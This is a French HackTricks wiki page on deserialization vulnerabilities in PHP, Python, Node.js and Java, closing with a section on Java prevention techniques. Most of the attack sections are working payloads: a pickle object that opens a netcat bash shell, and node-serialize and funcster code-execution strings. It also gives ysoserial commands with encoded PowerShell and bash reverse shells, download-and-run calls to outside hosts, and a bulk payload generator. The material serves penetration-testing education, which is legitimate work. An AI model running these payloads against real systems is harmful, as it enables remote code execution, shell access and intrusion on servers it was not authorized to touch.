.. | ||
nodejs-proto-prototype-pollution | ||
basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md | ||
basic-java-deserialization-objectinputstream-readobject.md | ||
exploiting-__viewstate-knowing-the-secret.md | ||
exploiting-__viewstate-parameter.md | ||
java-dns-deserialization-and-gadgetprobe.md | ||
java-jsf-viewstate-.faces-deserialization.md | ||
java-transformers-to-rutime-exec-payload.md | ||
jndi-java-naming-and-directory-interface-and-log4shell.md | ||
php-deserialization-+-autoload-classes.md | ||
python-yaml-deserialization.md | ||
README.md |
Désérialisation
{% hint style="success" %}
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Soutenir HackTricks
- Consultez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR aux HackTricks et HackTricks Cloud dépôts github.
Informations de base
La sérialisation est comprise comme la méthode de conversion d'un objet en un format qui peut être préservé, dans le but soit de stocker l'objet, soit de le transmettre dans le cadre d'un processus de communication. Cette technique est couramment utilisée pour garantir que l'objet peut être recréé ultérieurement, en maintenant sa structure et son état.
La désérialisation, en revanche, est le processus qui contrecarre la sérialisation. Elle consiste à prendre des données qui ont été structurées dans un format spécifique et à les reconstruire en un objet.
La désérialisation peut être dangereuse car elle permet potentiellement aux attaquants de manipuler les données sérialisées pour exécuter du code nuisible ou provoquer un comportement inattendu dans l'application lors du processus de reconstruction de l'objet.
PHP
En PHP, des méthodes magiques spécifiques sont utilisées lors des processus de sérialisation et de désérialisation :
__sleep
: Invoquée lorsqu'un objet est en cours de sérialisation. Cette méthode doit retourner un tableau des noms de toutes les propriétés de l'objet qui doivent être sérialisées. Elle est couramment utilisée pour valider les données en attente ou effectuer des tâches de nettoyage similaires.__wakeup
: Appelée lorsqu'un objet est en cours de désérialisation. Elle est utilisée pour rétablir les connexions à la base de données qui ont pu être perdues lors de la sérialisation et effectuer d'autres tâches de réinitialisation.__unserialize
: Cette méthode est appelée à la place de__wakeup
(si elle existe) lorsqu'un objet est en cours de désérialisation. Elle offre plus de contrôle sur le processus de désérialisation par rapport à__wakeup
.__destruct
: Cette méthode est appelée lorsqu'un objet est sur le point d'être détruit ou lorsque le script se termine. Elle est généralement utilisée pour des tâches de nettoyage, comme la fermeture des gestionnaires de fichiers ou des connexions à la base de données.__toString
: Cette méthode permet à un objet d'être traité comme une chaîne. Elle peut être utilisée pour lire un fichier ou d'autres tâches basées sur les appels de fonction à l'intérieur, fournissant ainsi une représentation textuelle de l'objet.
<?php
class test {
public $s = "This is a test";
public function displaystring(){
echo $this->s.'<br />';
}
public function __toString()
{
echo '__toString method called';
}
public function __construct(){
echo "__construct method called";
}
public function __destruct(){
echo "__destruct method called";
}
public function __wakeup(){
echo "__wakeup method called";
}
public function __sleep(){
echo "__sleep method called";
return array("s"); #The "s" makes references to the public attribute
}
}
$o = new test();
$o->displaystring();
$ser=serialize($o);
echo $ser;
$unser=unserialize($ser);
$unser->displaystring();
/*
php > $o = new test();
__construct method called
__destruct method called
php > $o->displaystring();
This is a test<br />
php > $ser=serialize($o);
__sleep method called
php > echo $ser;
O:4:"test":1:{s:1:"s";s:14:"This is a test";}
php > $unser=unserialize($ser);
__wakeup method called
__destruct method called
php > $unser->displaystring();
This is a test<br />
*/
?>
Si vous regardez les résultats, vous pouvez voir que les fonctions __wakeup
et __destruct
sont appelées lorsque l'objet est désérialisé. Notez que dans plusieurs tutoriels, vous trouverez que la fonction __toString
est appelée lors de l'impression d'un attribut, mais apparemment cela n'arrive plus.
{% hint style="warning" %}
La méthode __unserialize(array $data)
est appelée au lieu de __wakeup()
si elle est implémentée dans la classe. Elle vous permet de désérialiser l'objet en fournissant les données sérialisées sous forme de tableau. Vous pouvez utiliser cette méthode pour désérialiser des propriétés et effectuer toutes les tâches nécessaires lors de la désérialisation.
class MyClass {
private $property;
public function __unserialize(array $data): void {
$this->property = $data['property'];
// Perform any necessary tasks upon deserialization.
}
}
{% endhint %}
Vous pouvez lire un exemple PHP expliqué ici : https://www.notsosecure.com/remote-code-execution-via-php-unserialize/, ici https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf ou ici https://securitycafe.ro/2015/01/05/understanding-php-object-injection/
PHP Deserial + Autoload Classes
Vous pourriez abuser de la fonctionnalité d'autoload de PHP pour charger des fichiers php arbitraires et plus :
{% content-ref url="php-deserialization-+-autoload-classes.md" %} php-deserialization-+-autoload-classes.md {% endcontent-ref %}
Sérialisation des valeurs référencées
Si pour une raison quelconque vous souhaitez sérialiser une valeur en tant que référence à une autre valeur sérialisée, vous pouvez :
<?php
class AClass {
public $param1;
public $param2;
}
$o = new WeirdGreeting;
$o->param1 =& $o->param22;
$o->param = "PARAM";
$ser=serialize($o);
PHPGGC (ysoserial pour PHP)
PHPGGC peut vous aider à générer des payloads pour abuser des désérialisations PHP.
Notez que dans plusieurs cas, vous ne pourrez pas trouver un moyen d'abuser d'une désérialisation dans le code source de l'application, mais vous pourrez peut-être abuser du code des extensions PHP externes.
Donc, si vous le pouvez, vérifiez le phpinfo()
du serveur et recherchez sur internet (et même sur les gadgets de PHPGGC) quelques gadgets possibles que vous pourriez abuser.
désérialisation des métadonnées phar://
Si vous avez trouvé un LFI qui lit simplement le fichier et n'exécute pas le code php à l'intérieur, par exemple en utilisant des fonctions comme file_get_contents(), fopen(), file() ou file_exists(), md5_file(), filemtime() ou filesize(). Vous pouvez essayer d'abuser d'une désérialisation se produisant lors de la lecture d'un fichier en utilisant le protocole phar.
Pour plus d'informations, lisez le post suivant :
{% content-ref url="../file-inclusion/phar-deserialization.md" %} phar-deserialization.md {% endcontent-ref %}
Python
Pickle
Lorsque l'objet est désérialisé, la fonction __reduce__ sera exécutée.
Lorsqu'il est exploité, le serveur pourrait renvoyer une erreur.
import pickle, os, base64
class P(object):
def __reduce__(self):
return (os.system,("netcat -c '/bin/bash -i' -l -p 1234 ",))
print(base64.b64encode(pickle.dumps(P())))
Avant de vérifier la technique de contournement, essayez d'utiliser print(base64.b64encode(pickle.dumps(P(),2)))
pour générer un objet compatible avec python2 si vous exécutez python3.
Pour plus d'informations sur l'évasion des pickle jails, consultez :
{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %} bypass-python-sandboxes {% endcontent-ref %}
Yaml & jsonpickle
La page suivante présente la technique pour abuser d'une désérialisation non sécurisée dans les bibliothèques python yamls et se termine par un outil qui peut être utilisé pour générer des charges utiles de désérialisation RCE pour Pickle, PyYAML, jsonpickle et ruamel.yaml :
{% content-ref url="python-yaml-deserialization.md" %} python-yaml-deserialization.md {% endcontent-ref %}
Pollution de classe (Pollution de prototype Python)
{% content-ref url="../../generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md" %} class-pollution-pythons-prototype-pollution.md {% endcontent-ref %}
NodeJS
Fonctions magiques JS
JS n'a pas de fonctions "magiques" comme PHP ou Python qui vont être exécutées juste pour créer un objet. Mais il a certaines fonctions qui sont fréquemment utilisées même sans les appeler directement telles que toString
, valueOf
, toJSON
.
Si vous abusez d'une désérialisation, vous pouvez compromettre ces fonctions pour exécuter d'autres codes (abusant potentiellement des pollutions de prototype) et vous pourriez exécuter du code arbitraire lorsqu'elles sont appelées.
Une autre façon "magique" d'appeler une fonction sans l'appeler directement est de compromettre un objet qui est retourné par une fonction asynchrone (promesse). Parce que, si vous transformez cet objet de retour en une autre promesse avec une propriété appelée "then" de type fonction, elle sera exécutée juste parce qu'elle est retournée par une autre promesse. Suivez ce lien pour plus d'infos.
// If you can compromise p (returned object) to be a promise
// it will be executed just because it's the return object of an async function:
async function test_resolve() {
const p = new Promise(resolve => {
console.log('hello')
resolve()
})
return p
}
async function test_then() {
const p = new Promise(then => {
console.log('hello')
return 1
})
return p
}
test_ressolve()
test_then()
//For more info: https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/
__proto__
et pollution de prototype
Si vous voulez en savoir plus sur cette technique regardez le tutoriel suivant :
{% content-ref url="nodejs-proto-prototype-pollution/" %} nodejs-proto-prototype-pollution {% endcontent-ref %}
node-serialize
Cette bibliothèque permet de sérialiser des fonctions. Exemple :
var y = {
"rce": function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })},
}
var serialize = require('node-serialize');
var payload_serialized = serialize.serialize(y);
console.log("Serialized: \n" + payload_serialized);
L'objet sérialisé ressemblera à :
{"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"}
Vous pouvez voir dans l'exemple que lorsqu'une fonction est sérialisée, le drapeau _$$ND_FUNC$$_
est ajouté à l'objet sérialisé.
À l'intérieur du fichier node-serialize/lib/serialize.js
, vous pouvez trouver le même drapeau et comment le code l'utilise.
Comme vous pouvez le voir dans le dernier morceau de code, si le drapeau est trouvé, eval
est utilisé pour désérialiser la fonction, donc fondamentalement l'entrée de l'utilisateur est utilisée à l'intérieur de la fonction eval
.
Cependant, simplement sérialiser une fonction ne l'exécutera pas, car il serait nécessaire qu'une partie du code appelle y.rce
dans notre exemple et c'est très peu probable.
Quoi qu'il en soit, vous pourriez simplement modifier l'objet sérialisé en ajoutant des parenthèses afin d'exécuter automatiquement la fonction sérialisée lorsque l'objet est désérialisé.
Dans le prochain morceau de code, remarquez la dernière parenthèse et comment la fonction unserialize
exécutera automatiquement le code :
var serialize = require('node-serialize');
var test = {"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"};
serialize.unserialize(test);
Comme indiqué précédemment, cette bibliothèque obtiendra le code après _$$ND_FUNC$$_
et l'exécutera en utilisant eval
. Par conséquent, afin de faire s'exécuter automatiquement le code, vous pouvez supprimer la partie de création de fonction et la dernière parenthèse et exécuter simplement une ligne de code JS comme dans l'exemple suivant :
var serialize = require('node-serialize');
var test = '{"rce":"_$$ND_FUNC$$_require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) })"}';
serialize.unserialize(test);
Vous pouvez trouver ici plus d'informations sur la façon d'exploiter cette vulnérabilité.
funcster
Un aspect notable de funcster est l'inaccessibilité des objets intégrés standard ; ils se situent en dehors du champ d'application accessible. Cette restriction empêche l'exécution de code qui tente d'invoquer des méthodes sur des objets intégrés, entraînant des exceptions telles que "ReferenceError: console is not defined"
lorsque des commandes comme console.log()
ou require(something)
sont utilisées.
Malgré cette limitation, la restauration d'un accès complet au contexte global, y compris tous les objets intégrés standard, est possible grâce à une approche spécifique. En tirant parti du contexte global directement, on peut contourner cette restriction. Par exemple, l'accès peut être rétabli en utilisant le snippet suivant :
funcster = require("funcster");
//Serialization
var test = funcster.serialize(function() { return "Hello world!" })
console.log(test) // { __js_function: 'function(){return"Hello world!"}' }
//Deserialization with auto-execution
var desertest1 = { __js_function: 'function(){return "Hello world!"}()' }
funcster.deepDeserialize(desertest1)
var desertest2 = { __js_function: 'this.constructor.constructor("console.log(1111)")()' }
funcster.deepDeserialize(desertest2)
var desertest3 = { __js_function: 'this.constructor.constructor("require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) });")()' }
funcster.deepDeserialize(desertest3)
Pour plus d'informations, lisez cette source.
serialize-javascript
Le package serialize-javascript est conçu exclusivement pour des fins de sérialisation, sans aucune capacité de désérialisation intégrée. Les utilisateurs sont responsables de la mise en œuvre de leur propre méthode de désérialisation. Un usage direct de eval
est suggéré par l'exemple officiel pour désérialiser des données sérialisées :
function deserialize(serializedJavascript){
return eval('(' + serializedJavascript + ')');
}
Si cette fonction est utilisée pour désérialiser des objets, vous pouvez facilement l'exploiter :
var serialize = require('serialize-javascript');
//Serialization
var test = serialize(function() { return "Hello world!" });
console.log(test) //function() { return "Hello world!" }
//Deserialization
var test = "function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"
deserialize(test)
Pour plus d'informations, lisez cette source.
Bibliothèque Cryo
Dans les pages suivantes, vous pouvez trouver des informations sur la façon d'abuser de cette bibliothèque pour exécuter des commandes arbitraires :
- https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/
- https://hackerone.com/reports/350418
Java - HTTP
En Java, les rappels de désérialisation sont exécutés pendant le processus de désérialisation. Cette exécution peut être exploitée par des attaquants qui créent des charges utiles malveillantes déclenchant ces rappels, entraînant l'exécution potentielle d'actions nuisibles.
Empreintes
Boîte blanche
Pour identifier les vulnérabilités potentielles de sérialisation dans le code, recherchez :
- Des classes qui implémentent l'interface
Serializable
. - L'utilisation des fonctions
java.io.ObjectInputStream
,readObject
,readUnshare
.
Faites particulièrement attention à :
XMLDecoder
utilisé avec des paramètres définis par des utilisateurs externes.- La méthode
fromXML
deXStream
, surtout si la version de XStream est inférieure ou égale à 1.46, car elle est sujette à des problèmes de sérialisation. ObjectInputStream
associé à la méthodereadObject
.- L'implémentation de méthodes telles que
readObject
,readObjectNodData
,readResolve
, oureadExternal
. ObjectInputStream.readUnshared
.- Utilisation générale de
Serializable
.
Boîte noire
Pour les tests en boîte noire, recherchez des signatures spécifiques ou "Magic Bytes" qui désignent des objets sérialisés Java (provenant de ObjectInputStream
) :
- Modèle hexadécimal :
AC ED 00 05
. - Modèle Base64 :
rO0
. - En-têtes de réponse HTTP avec
Content-type
défini surapplication/x-java-serialized-object
. - Modèle hexadécimal indiquant une compression préalable :
1F 8B 08 00
. - Modèle Base64 indiquant une compression préalable :
H4sIA
. - Fichiers web avec l'extension
.faces
et le paramètrefaces.ViewState
. La découverte de ces modèles dans une application web devrait inciter à un examen comme détaillé dans le post sur la désérialisation de Java JSF ViewState.
javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s
Vérifiez si vulnérable
Si vous voulez apprendre comment fonctionne une exploitation de désérialisation Java, vous devriez jeter un œil à Désérialisation Java de base, Désérialisation DNS Java, et Charge utile CommonsCollection1.
Test en boîte blanche
Vous pouvez vérifier s'il y a une application installée avec des vulnérabilités connues.
find . -iname "*commons*collection*"
grep -R InvokeTransformer .
Vous pourriez essayer de vérifier toutes les bibliothèques connues pour être vulnérables et que Ysoserial peut fournir un exploit. Ou vous pourriez vérifier les bibliothèques indiquées sur Java-Deserialization-Cheat-Sheet.
Vous pourriez également utiliser gadgetinspector pour rechercher des chaînes de gadgets possibles qui peuvent être exploitées.
Lors de l'exécution de gadgetinspector (après l'avoir construit), ne vous souciez pas des tonnes d'avertissements/erreurs qu'il traverse et laissez-le finir. Il écrira tous les résultats sous gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt. Veuillez noter que gadgetinspector ne créera pas d'exploit et il peut indiquer des faux positifs.
Test en boîte noire
En utilisant l'extension Burp gadgetprobe, vous pouvez identifier quelles bibliothèques sont disponibles (et même les versions). Avec ces informations, il pourrait être plus facile de choisir un payload pour exploiter la vulnérabilité.
Lisez ceci pour en savoir plus sur GadgetProbe.
GadgetProbe est axé sur les désérialisations ObjectInputStream
.
En utilisant l'extension Burp Java Deserialization Scanner, vous pouvez identifier les bibliothèques vulnérables exploitables avec ysoserial et les exploiter.
Lisez ceci pour en savoir plus sur Java Deserialization Scanner.
Java Deserialization Scanner est axé sur les désérialisations ObjectInputStream
.
Vous pouvez également utiliser Freddy pour détecter les vulnérabilités de désérialisation dans Burp. Ce plugin détectera non seulement les vulnérabilités liées à ObjectInputStream
, mais aussi les vulnérabilités des bibliothèques de désérialisation Json et Yml. En mode actif, il essaiera de les confirmer en utilisant des payloads de sommeil ou DNS.
Vous pouvez trouver plus d'informations sur Freddy ici.
Test de sérialisation
Tout ne consiste pas à vérifier si une bibliothèque vulnérable est utilisée par le serveur. Parfois, vous pourriez être en mesure de modifier les données à l'intérieur de l'objet sérialisé et de contourner certaines vérifications (peut-être vous accorder des privilèges d'administrateur dans une application web).
Si vous trouvez un objet Java sérialisé envoyé à une application web, vous pouvez utiliser SerializationDumper pour imprimer dans un format plus lisible par l'homme l'objet de sérialisation qui est envoyé. Savoir quelles données vous envoyez serait plus facile à modifier et à contourner certaines vérifications.
Exploitation
ysoserial
L'outil principal pour exploiter les désérialisations Java est ysoserial (téléchargez ici). Vous pouvez également envisager d'utiliser ysoseral-modified qui vous permettra d'utiliser des commandes complexes (avec des pipes par exemple).
Notez que cet outil est axé sur l'exploitation de ObjectInputStream
.
Je commencerais par utiliser le payload "URLDNS" avant un payload RCE pour tester si l'injection est possible. Quoi qu'il en soit, notez que peut-être le payload "URLDNS" ne fonctionne pas mais qu'un autre payload RCE fonctionne.
# PoC to make the application perform a DNS req
java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload
# PoC RCE in Windows
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections5 'cmd /c ping -n 5 127.0.0.1' > payload
# Time, I noticed the response too longer when this was used
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c timeout 5" > payload
# Create File
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c echo pwned> C:\\\\Users\\\\username\\\\pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c nslookup jvikwa34jwgftvoxdz16jhpufllb90.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c certutil -urlcache -split -f http://j4ops7g6mi9w30verckjrk26txzqnf.burpcollaborator.net/a a"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAYwBlADcAMABwAG8AbwB1ADAAaABlAGIAaQAzAHcAegB1AHMAMQB6ADIAYQBvADEAZgA3ADkAdgB5AC4AYgB1AHIAcABjAG8AbABsAGEAYgBvAHIAYQB0AG8AcgAuAG4AZQB0AC8AYQAnACkA"
## In the ast http request was encoded: IEX(New-Object Net.WebClient).downloadString('http://1ce70poou0hebi3wzus1z2ao1f79vy.burpcollaborator.net/a')
## To encode something in Base64 for Windows PS from linux you can use: echo -n "<PAYLOAD>" | iconv --to-code UTF-16LE | base64 -w0
# Reverse Shell
## Encoded: IEX(New-Object Net.WebClient).downloadString('http://192.168.1.4:8989/powercat.ps1')
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAxAC4ANAA6ADgAOQA4ADkALwBwAG8AdwBlAHIAYwBhAHQALgBwAHMAMQAnACkA"
#PoC RCE in Linux
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "ping -c 5 192.168.1.4" > payload
# Time
## Using time in bash I didn't notice any difference in the timing of the response
# Create file
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "touch /tmp/pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "dig ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "nslookup ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "curl ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net" > payload
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "wget ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# Reverse shell
## Encoded: bash -i >& /dev/tcp/127.0.0.1/4444 0>&1
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" | base64 -w0
## Encoded: export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb3J0IFJIT1NUPSIxMjcuMC4wLjEiO2V4cG9ydCBSUE9SVD0xMjM0NTtweXRob24gLWMgJ2ltcG9ydCBzeXMsc29ja2V0LG9zLHB0eTtzPXNvY2tldC5zb2NrZXQoKTtzLmNvbm5lY3QoKG9zLmdldGVudigiUkhPU1QiKSxpbnQob3MuZ2V0ZW52KCJSUE9SVCIpKSkpO1tvcy5kdXAyKHMuZmlsZW5vKCksZmQpIGZvciBmZCBpbiAoMCwxLDIpXTtwdHkuc3Bhd24oIi9iaW4vc2giKSc=}|{base64,-d}|{bash,-i}"
# Base64 encode payload in base64
base64 -w0 payload
Lorsque vous créez un payload pour java.lang.Runtime.exec(), vous ne pouvez pas utiliser de caractères spéciaux comme ">" ou "|" pour rediriger la sortie d'une exécution, "$()" pour exécuter des commandes ou même passer des arguments à une commande séparés par des espaces (vous pouvez faire echo -n "hello world"
mais vous ne pouvez pas faire python2 -c 'print "Hello world"'
). Afin d'encoder correctement le payload, vous pourriez utiliser cette page web.
N'hésitez pas à utiliser le script suivant pour créer tous les payloads d'exécution de code possibles pour Windows et Linux, puis testez-les sur la page web vulnérable :
import os
import base64
# You may need to update the payloads
payloads = ['BeanShell1', 'Clojure', 'CommonsBeanutils1', 'CommonsCollections1', 'CommonsCollections2', 'CommonsCollections3', 'CommonsCollections4', 'CommonsCollections5', 'CommonsCollections6', 'CommonsCollections7', 'Groovy1', 'Hibernate1', 'Hibernate2', 'JBossInterceptors1', 'JRMPClient', 'JSON1', 'JavassistWeld1', 'Jdk7u21', 'MozillaRhino1', 'MozillaRhino2', 'Myfaces1', 'Myfaces2', 'ROME', 'Spring1', 'Spring2', 'Vaadin1', 'Wicket1']
def generate(name, cmd):
for payload in payloads:
final = cmd.replace('REPLACE', payload)
print 'Generating ' + payload + ' for ' + name + '...'
command = os.popen('java -jar ysoserial.jar ' + payload + ' "' + final + '"')
result = command.read()
command.close()
encoded = base64.b64encode(result)
if encoded != "":
open(name + '_intruder.txt', 'a').write(encoded + '\n')
generate('Windows', 'ping -n 1 win.REPLACE.server.local')
generate('Linux', 'ping -c 1 nix.REPLACE.server.local')
serialkillerbypassgadgets
Vous pouvez utiliser https://github.com/pwntester/SerialKillerBypassGadgetCollection avec ysoserial pour créer plus d'exploits. Plus d'informations sur cet outil dans les diapositives de la présentation où l'outil a été présenté : https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1
marshalsec
marshalsec peut être utilisé pour générer des charges utiles afin d'exploiter différentes bibliothèques de sérialisation Json et Yml en Java.
Pour compiler le projet, j'ai dû ajouter ces dépendances à pom.xml
:
<dependency>
<groupId>javax.activation</groupId>
<artifactId>activation</artifactId>
<version>1.1.1</version>
</dependency>
<dependency>
<groupId>com.sun.jndi</groupId>
<artifactId>rmiregistry</artifactId>
<version>1.2.1</version>
<type>pom</type>
</dependency>
Installez maven, et compilez le projet :
sudo apt-get install maven
mvn clean package -DskipTests
FastJSON
Lisez-en plus sur cette bibliothèque Java JSON : https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html
Labs
- Si vous souhaitez tester des payloads ysoserial, vous pouvez exécuter cette webapp : https://github.com/hvqzao/java-deserialize-webapp
- https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/
Pourquoi
Java utilise beaucoup de sérialisation pour divers objectifs comme :
- Requêtes HTTP : La sérialisation est largement utilisée dans la gestion des paramètres, ViewState, cookies, etc.
- RMI (Remote Method Invocation) : Le protocole RMI de Java, qui repose entièrement sur la sérialisation, est un pilier de la communication à distance dans les applications Java.
- RMI sur HTTP : Cette méthode est couramment utilisée par les applications web à client épais basées sur Java, utilisant la sérialisation pour toutes les communications d'objets.
- JMX (Java Management Extensions) : JMX utilise la sérialisation pour transmettre des objets sur le réseau.
- Protocoles personnalisés : En Java, la pratique standard consiste à transmettre des objets Java bruts, ce qui sera démontré dans les prochains exemples d'exploitation.
Prévention
Objets transitoires
Une classe qui implémente Serializable
peut implémenter comme transient
tout objet à l'intérieur de la classe qui ne devrait pas être sérialisable. Par exemple :
public class myAccount implements Serializable
{
private transient double profit; // declared transient
private transient double margin; // declared transient
Évitez la sérialisation d'une classe qui doit implémenter Serializable
Dans les scénarios où certains objets doivent implémenter l'interface Serializable
en raison de la hiérarchie des classes, il existe un risque de désérialisation involontaire. Pour éviter cela, assurez-vous que ces objets ne sont pas désérialisables en définissant une méthode readObject()
final
qui lance systématiquement une exception, comme montré ci-dessous :
private final void readObject(ObjectInputStream in) throws java.io.IOException {
throw new java.io.IOException("Cannot be deserialized");
}
Améliorer la sécurité de la désérialisation en Java
Personnaliser java.io.ObjectInputStream
est une approche pratique pour sécuriser les processus de désérialisation. Cette méthode est appropriée lorsque :
- Le code de désérialisation est sous votre contrôle.
- Les classes attendues pour la désérialisation sont connues.
Surchargez la méthode resolveClass()
pour limiter la désérialisation aux classes autorisées uniquement. Cela empêche la désérialisation de toute classe sauf celles explicitement autorisées, comme dans l'exemple suivant qui restreint la désérialisation à la classe Bicycle
uniquement :
// Code from https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
public class LookAheadObjectInputStream extends ObjectInputStream {
public LookAheadObjectInputStream(InputStream inputStream) throws IOException {
super(inputStream);
}
/**
* Only deserialize instances of our expected Bicycle class
*/
@Override
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
if (!desc.getName().equals(Bicycle.class.getName())) {
throw new InvalidClassException("Unauthorized deserialization attempt", desc.getName());
}
return super.resolveClass(desc);
}
}
Utilisation d'un agent Java pour l'amélioration de la sécurité offre une solution de secours lorsque la modification du code n'est pas possible. Cette méthode s'applique principalement à la mise sur liste noire des classes nuisibles, en utilisant un paramètre JVM :
-javaagent:name-of-agent.jar
Il fournit un moyen de sécuriser la désérialisation de manière dynamique, idéal pour les environnements où des modifications de code immédiates sont impraticables.
Vérifiez un exemple dans rO0 by Contrast Security
Implémentation des filtres de sérialisation : Java 9 a introduit des filtres de sérialisation via l'interface ObjectInputFilter
, fournissant un mécanisme puissant pour spécifier les critères que les objets sérialisés doivent respecter avant d'être désérialisés. Ces filtres peuvent être appliqués globalement ou par flux, offrant un contrôle granulaire sur le processus de désérialisation.
Pour utiliser les filtres de sérialisation, vous pouvez définir un filtre global qui s'applique à toutes les opérations de désérialisation ou le configurer dynamiquement pour des flux spécifiques. Par exemple :
ObjectInputFilter filter = info -> {
if (info.depth() > MAX_DEPTH) return Status.REJECTED; // Limit object graph depth
if (info.references() > MAX_REFERENCES) return Status.REJECTED; // Limit references
if (info.serialClass() != null && !allowedClasses.contains(info.serialClass().getName())) {
return Status.REJECTED; // Restrict to allowed classes
}
return Status.ALLOWED;
};
ObjectInputFilter.Config.setSerialFilter(filter);
Exploitation des bibliothèques externes pour une sécurité améliorée : Des bibliothèques telles que NotSoSerial, jdeserialize et Kryo offrent des fonctionnalités avancées pour contrôler et surveiller la désérialisation Java. Ces bibliothèques peuvent fournir des couches de sécurité supplémentaires, telles que la mise en liste blanche ou noire de classes, l'analyse des objets sérialisés avant la désérialisation et la mise en œuvre de stratégies de sérialisation personnalisées.
- NotSoSerial intercepte les processus de désérialisation pour empêcher l'exécution de code non fiable.
- jdeserialize permet l'analyse d'objets Java sérialisés sans les désérialiser, aidant à identifier un contenu potentiellement malveillant.
- Kryo est un cadre de sérialisation alternatif qui met l'accent sur la rapidité et l'efficacité, offrant des stratégies de sérialisation configurables qui peuvent améliorer la sécurité.
Références
- https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
- Discussion sur la désérialisation et ysoserial : http://frohoff.github.io/appseccali-marshalling-pickles/
- https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/
- https://www.youtube.com/watch?v=VviY3O-euVQ
- Discussion sur gadgetinspector : https://www.youtube.com/watch?v=wPbW6zQ52w8 et diapositives : https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf
- Document Marshalsec : https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true
- https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr
- https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html
- https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html
- Document sur la désérialisation JSON Java et .Net : https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf,** discussion : https://www.youtube.com/watch?v=oUAeWhW5b8c et diapositives : https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf
